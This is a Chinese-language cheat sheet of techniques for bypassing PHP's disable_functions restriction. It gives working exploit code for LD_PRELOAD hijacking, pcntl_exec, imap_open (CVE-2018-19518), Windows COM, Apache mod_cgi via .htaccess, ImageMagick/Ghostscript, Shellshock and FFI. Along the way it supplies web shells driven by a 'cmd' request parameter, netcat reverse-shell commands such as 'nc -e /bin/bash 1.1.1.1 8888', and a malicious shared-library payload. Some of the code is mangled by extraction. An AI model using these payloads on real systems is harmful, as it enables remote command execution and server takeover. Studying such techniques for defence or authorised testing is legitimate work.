PHP Bypass disabled_functions 备忘录

绕过方式

利用未过滤的函数:

exec,shell_exec,system,passthru,popen,proc_open

利用环境变量LD_PRELOAD绕过(★):

mail,imap_mail,error_log,mb_send_mail
程序的链接主要有以下三种:

  1. 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
  2. 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
  3. 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
    对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。

LD_PRELOAD介绍
在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。可用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。它允许你定义在程序运行前优先加载的动态链接库,这几乎可以劫持PHP的大部分函数,使程序加载恶意动态链接库文件,从而执行系统命令等敏感操作。

控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数,劫持系统函数(无参数且常用的为佳)如getuid(),编写同原型的函数,保存编译为共享对象.so文件。然后需要一个可以控制PHP启动外部程序的函数并能执行,只要有进程启动行为即可,新进程启动将加载LD_PRELOAD中的.so文件,比如mail(),在php文件写入设置 LD_PRELOAD 的代码和能启动新进程函数,执行这个php文件。
mail函数实际上是调用了系统的sendmail命令,sendmail又调用了库函数geteuid。

上面的方法有局限性,通用性的为劫持共享对象,而不用考虑劫持某一系统函数
GCC 有个 C 语言扩展修饰符 _attribute_((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 _attribute_((constructor)) 修饰的函数
无需sendmail:巧用LD_PRELOAD突破disable_functions :

也可以劫持/bin/sh 的库函数(除了php解释器 /usr/bin/php 之外的第一个进程,其实是/bin/sh)

利用前提:

  1. 能够上传自己的.so文件
  2. 能够控制环境变量的值(设置LD_PRELOAD变量为恶意动态链接库文件路径),比如putenv函数
  3. 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等,如果PHP 安装了 imagick 模块,则还可以使用 Imagick,其在遇到 MPEG format 的时候,会调用 ffmpeg 进程来处理,比如使用 new Imagick(‘1.mp4’)

bypass_disablefunc.php、bypass_disablefunc.c、bypass_disablefunc_x64.so 托管在 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

Bash漏洞导致的任意命令执行

GNU Bash 环境变量远程命令执行漏洞(CVE-2014-6271)是GNU Bash 的一个远程代码执行漏洞,在这个CVE的介绍中,可以看到这样的描述:“GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模块,DHCP客户端等”。实际上,PHP也可以利用这个漏洞做很多事情,甚至有可能直接在80导致远程命令执行。
利用pcntl_exec绕过
pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。利用pcntl_exec()这个pcntl插件专有的命令执行函数来执行系统命令,从而绕过disable_functions

exp

exp.php:
#利用pcntl_exec()执行test.sh

test.sh:

#!/bin/bashnc -e /bin/bash 1.1.1.1 8888 #反弹shell
利用imap_open函数任意命令执行(CVE-2018-19518)

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

exp

error_reporting(0);if (!function_exists('imap_open')) {die("no imap_open function!");}$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";imap_open('{' . $server . ':143/imap}INBOX', '', '');sleep(5);echo file_get_contents("/tmp/cmd_result");?>
利用系统组件window com绕过

COM(Component Object Model)组件对象模型,是一种跨应用和语言共享二进制代码的方法。COM 可以作为 DLL 被本机程序载入也可以通过 DCOM 被远程进程调用
C:WindowsSystem32 下的 wshom.ocx 能够提供 WshShell 对象和 WshNetwork 对象接口的访问,也就是提供对本地 Windows shell 和计算机所连接的网络上共享资源的访问

php.ini 中开启 com.allow_dcom

com.allow_dcom = true

因为是在 Windows,如果在拓展文件夹 php/ext/ 中存在 php_com_dotnet.dll

到 php.ini 中开启拓展

extension=php_com_dotnet.dll

重启服务在 phpinfo 中就能看到开启了 com_dotnet

Exp


$command = $_GET['cmd'];
$wsh = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
利用Apache+mod_cgi+.htaccess绕过

利用条件

  1. Apache 开启 AllowOverride
  2. 开启 cgi_module
  3. .htaccess 文件可写
  4. cgi 程序可执行

在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
POC如下,附注释:


$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd"; 
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ?$yes : $no) . "
\n"
; } if(!isset($_GET['checked'])) { @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND); header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查 } else { $modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启 $writable = is_writable('.'); //检测当前目录是否可写 $htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No"); checkEnabled("Iswritable",$writable,"Yes","No"); checkEnabled("htaccessworking",$htaccess,"Yes","No"); if(!($modcgi && $writable&& $htaccess)) { echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件 } else { checkEnabled("Backing up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in .htaccess.bak","Failed!"); //备份一下原有.htaccess checkEnabled("Write .htaccessfile",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandlercgi-script .dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名 checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件 checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限 echo "Executing the script now.Check your listener "; //调用 } } ?>
利用ImageMagick漏洞绕过

CVE-2016–3714(Imagick <= 3.3.0PHP >= 5.4)
只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招。
Exp


echo "Disable Functions: " . ini_get('disable_functions') . "n";

function AAAA(){
$command = 'curl 127.0.0.1:7777';

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
}
AAAA();
?>

CVE-2018-16509,CVE-2019-6116(imagemagick+GhostScript

exp

 putenv('LD_PRELOAD=/var/www/html/imag.so');$img = new Imagick('/tmp/1.ps');?>

其中 imag.c文件需要编译,命令如下

gcc -shared -fPIC imag.c -o imag.so

imag.c代码

#include #include void payload() {const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444"; system(cmd);}int fileno() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload();}

Imagemagick邂逅Getimagesize的那点事儿

利用 ShellShock绕过(CVE-2014-6271)

目标OS存在Bash破壳(CVE-2014-6271)漏洞PHP < 5.6.2。linux putenv()、mail()可用。
一般函数体内的代码不会被执行,但破壳漏洞会错误的将"{}"花括号外的命令进行执行php里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。

exploit-db 上的脚本

# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
 echo "Disabled functions: ".ini_get('disable_functions')."n"; ?>

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("[email protected]","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
FFI 绕过 disable_functions(php 7.4ffi.enable=true)

PHP7.4 的一个新特性 FFI(Foreign Function Interface),即外部函数接口,可以让我们在 PHP 中调用 C 代码,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。
通常使用 FFI::cdef 创建一个新的 FFI 对象,执行系统命令,使用 FFI::cdef 声明一个 system 函数。
Exp



$ffi = FFI::cdef(
    "int system(const char *command);",
    "libc.so.6");

$ffi->system("id");

?>
PHP-FPM/FastCGI bypass disable_functions

FastCGI 是用于将交互式程序与 Web 服务器接口的二进制协议。FastCGI 是早期的通用网关接口(CGI)的变体。FastCGI 的主要目的是减少与Web服务器和 CGI 程序接口相关的开销,从而使服务器可以一次处理更多的网页请求。

PHP-FPM( FastCGI 进程管理器)是另一种 PHP FastCGI 实现,具有一些其他功能,可用于各种规模的站点,尤其是繁忙的站点。PHP-FPM 也是用于调度管理 PHP 解析器php-cgi 的管理程序,php-cgi 作为 PHP 自带的解释器,只是个 CGI 程序,除了解析请求返回结果之外,并不能管理进程,也就无法做到修改 php.ini 配置文件后平滑重启

即 FastCGI 是 CGI 协议的升级版,用于封装 webserver 发送给 php 解释器的数据,通过 PHP-FPM 程序按照 FastCGI 协议进行处理和解析数据,返回结果给 webserver

PHP5.3 版本之后,PHP-FPM 是内置于 PHP 的,一般来说,尤其是在高并发的情况下,nginx + PHP-FPM 的组合要比 apache + mod_php 好很多

那么伪造请求发送给 PHP-FPM 不就可以任意代码执行

脚本:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

PHP 5.2.3 win32std extension safe_mode and bypass disable_functions
https://www.exploit-db.com/exploits/4218

exploit-db 上的 exp


//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Thanks to rgod for all his precious advises :)

//I set php.ini in this way:
//safe_mode = On
//disable_functions = system
//if you launch the exploit from the cli, cmd.exe will be wxecuted
//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager

if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\..\..\..\windows\system32\cmd.exe");
?>

利用 PHP bug Bypass disable_functions

利用两个 PHP 历史漏洞来绕过 disable_functions

Exploits :

https://github.com/mm0r1/exploits
(1) Use after free with json serializer
php-json-bypass
https://bugs.php.net/bug.php?id=77843

适用目标:
    7.1 – all versions to date
    7.2 < 7.2.19 (released: 30 May 2019)
    7.3 < 7.3.6 (released: 30 May 2019)

(2) Use After Free in GC with Certain Destructors
php7-gc-bypass
https://bugs.php.net/bug.php?id=72530

适用目标:
    7.0 – all versions to date
    7.1 – all versions to date
    7.2 – all versions to date
    7.3 – all versions to date

工具
1.Bypass disable_functions 工具:
https://github.com/l3m0n/Bypass_Disable_functions_Shell
2.AntSword 绕过 PHP disable_functions 插件:
antsword bypass PHP disable_functions
3.Chankro:
https://github.com/TarlogicSecurity/Chankro

参考:

https://www.freebuf.com/articles/web/192052.html
https://www.smi1e.top/php-bypass-disabled_functions/
https://www.anquanke.com/post/id/197745?from=singlemessage#h3-8
https://www.freebuf.com/articles/web/169156.html
https://baijiahao.baidu.com/s?id=1659386031704746677&wfr=spider&for=pc
https://www.freebuf.com/articles/network/209198.html

你可能感兴趣的:(PHP Bypass disabled_functions 备忘录)